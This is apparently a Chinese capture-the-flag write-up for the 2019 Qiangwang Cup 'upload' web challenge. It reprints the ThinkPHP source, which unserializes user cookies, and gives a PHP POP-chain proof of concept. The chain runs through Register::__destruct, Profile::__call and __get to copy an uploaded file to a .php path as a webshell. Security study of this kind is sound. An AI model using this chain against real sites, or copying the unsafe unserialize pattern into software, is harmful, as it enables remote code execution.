2019强网杯web upload分析(pop链)
参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943
https://blog.csdn.net/qq_26406447/article/details/90671853
注意 只要namespace相同那就可以直接实例化同一namespace的类,至少在本题环境下是这样,所以可以在访问Index.php反序化影响到Regeister.php
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
1 <?php 2 namespace app\web\controller; 3 use think\Controller; 4 5 class Index extends Controller 6 { 7 public $profile; 8 public $profile_db; 9 10 public function index() 11 { 12 if($this->login_check()){ 13 $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home"; 14 $this->redirect($curr_url,302); 15 exit(); 16 } 17 return $this->fetch("index"); 18 } 19 20 public function home(){ 21 if(!$this->login_check()){ 22 $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; 23 $this->redirect($curr_url,302); 24 exit(); 25 } 26 27 if(!$this->check_upload_img()){ 28 $this->assign("username",$this->profile_db['username']); 29 return $this->fetch("upload"); 30 }else{ 31 $this->assign("img",$this->profile_db['img']); 32 $this->assign("username",$this->profile_db['username']); 33 return $this->fetch("home"); 34 } 35 } 36 37 public function login_check(){ 38 $profile=cookie('user'); 39 if(!empty($profile)){ 40 $this->profile=unserialize(base64_decode($profile)); 41 $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find(); 42 if(array_diff($this->profile_db,$this->profile)==null){ 43 return 1; 44 }else{ 45 return 0; 46 } 47 } 48 } 49 50 public function check_upload_img(){ 51 if(!empty($this->profile) && !empty($this->profile_db)){ 52 if(empty($this->profile_db['img'])){ 53 return 0; 54 }else{ 55 return 1; 56 } 57 } 58 } 59 60 public function logout(){ 61 cookie("user",null); 62 $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; 63 $this->redirect($curr_url,302); 64 exit(); 65 } 66 67 public function __get($name) 68 { 69 return ""; 70 } 71 72 }
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
<?php namespace app\web\controller;//只是一个namespace 与下面的use无关 use think\Controller; //导入namespace 名为think下的 Controller 类 class Profile extends Controller { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __construct() { $this->checker=new Index(); $this->upload_menu=md5($_SERVER['REMOTE_ADDR']); @chdir("../public/upload"); if(!is_dir($this->upload_menu)){ @mkdir($this->upload_menu); } @chdir($this->upload_menu); } public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } } public function update_img(){ $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find(); if(empty($user_info['img']) && $this->img){ if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){ $this->update_cookie(); $this->success('Upload img successful!', url('../home')); }else{ $this->error('Upload file failed!', url('../index')); } } } public function update_cookie(){ $this->checker->profile['img']=$this->img; cookie("user",base64_encode(serialize($this->checker->profile)),3600); } public function ext_check(){ $ext_arr=explode(".",$this->filename); $this->ext=end($ext_arr); if($this->ext=="png"){ return 1; }else{ return 0; } } public function __get($name) { return $this->except[$name]; } public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } } }
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
<?php namespace app\web\controller; use think\Controller; class Register extends Controller { public $checker; public $registed; public function __construct() { $this->checker=new Index(); } /*public function __construct() { $this->checker=new Profile(); }*/ public function register() { if ($this->checker) { if($this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home"; $this->redirect($curr_url,302); exit(); } } if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) { $email = input("post.email", "", "addslashes"); $password = input("post.password", "", "addslashes"); $username = input("post.username", "", "addslashes"); if($this->check_email($email)) { if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) { $user_info = ["email" => $email, "password" => md5($password), "username" => $username]; if (db("user")->insert($user_info)) { $this->registed = 1; $this->success('Registed successful!', url('../index')); } else { $this->error('Registed failed!', url('../index')); } } else { $this->error('Account already exists!', url('../index')); } }else{ $this->error('Email illegal!', url('../index')); } } else { $this->error('Something empty!', url('../index')); } } public function check_email($email){ $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/"; preg_match($pattern, $email, $matches); if(empty($matches)){ return 0; }else{ return 1; } } public function __destruct() { if(!$this->registed){ $this->checker->index(); } } }
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
<?php namespace app\web\controller; use think\Controller; class Login extends Controller { public $checker; public function __construct() { $this->checker=new Index(); } public function login(){ if($this->checker){ if($this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home"; $this->redirect($curr_url,302); exit(); } } if(input("?post.email") && input("?post.password")){ $email=input("post.email","","addslashes"); $password=input("post.password","","addslashes"); $user_info=db("user")->where("email",$email)->find(); if($user_info) { if (md5($password) === $user_info['password']) { $cookie_data=base64_encode(serialize($user_info)); cookie("user",$cookie_data,3600); $this->success('Login successful!', url('../home')); } else { $this->error('Login failed!', url('../index')); } }else{ $this->error('email not registed!',url('../index')); } }else{ $this->error('email or password is null!',url('../index')); } } }
注意:1、的文通 Index.php 里namespace app\web\controller;和下面的 use think\Controller; 没关系 use think/Controller 中 Controller是一个类 ,它的namespace是think
2、同一个namespce下可以直接实例化类不需要include\require(本题是如此,我在本地环境下实验是不行的)
poc:
<?php namespace app\web\controller; class Profile { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; } class Register { public $checker; public $registed; } $a = new Register(); $a->registed = 0; $a->checker = new Profile(); $a->checker->except = ['index'=>'upload_img'];$a->checker->filename_tmp = './upload/bc9c0f21801e3928b868149bfb65e408/fb5c81ed3a220004b71069645f112867.png'; $a->checker->filename = './upload/bc9c0f21801e3928b868149bfb65e408/2.php'; $a->checker->ext = 1; echo base64_encode(serialize($a));
之前做了一些题目 覆盖_dstruct()里面的调用类,巧的是调用的都是这样的:$this->checker->XX,然后我们就覆盖checker就行了
让反序列化的对象是Profile 让checker从new index() 变为 new Profile() ,调用index()方法,Profile没有index()方法从而调用__call 方法,
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
$this->{$this->{$name}}($arguments); 这句我看不太懂 ,但是看得出来调用了$name 而$name 是不能/不存在被调用的方法名称,$this->index index也不存在,随之调用__get()方法 ,这时候上面poc中的 "$a->checker->except = ['index'=>'upload_img'];"发挥作用了,代码让__get()调用了upload_img(小细节:$this->方法名也可以调用函数)然后看upload_img()方法
public function upload_img(){
if($this->checker){//$this->checker 不存在, 绕过
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){//$_FILES :我们没上传文件 空 绕过
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {//ext=1 进入逻辑
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename;/*copy是复制第一个参数是文件,第二个参数是目的地 */ @unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
完成
此题是寻找pop链调用 image_upload() 绕过if 然后目的是 copy()这里,全程围绕调用 copy() 为中心(感觉是个病句)